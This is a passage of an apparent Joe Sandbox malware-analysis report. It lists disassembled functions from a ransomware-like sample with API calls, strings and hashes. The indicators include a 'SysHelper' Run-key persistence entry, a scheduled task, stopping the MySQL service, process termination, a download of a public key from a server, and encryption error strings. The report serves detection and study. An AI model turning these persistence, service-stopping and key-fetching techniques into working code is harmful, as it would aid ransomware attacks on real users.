String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
, xrefs: 00457482
0123456789abcdef, xrefs: 004574C4
+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
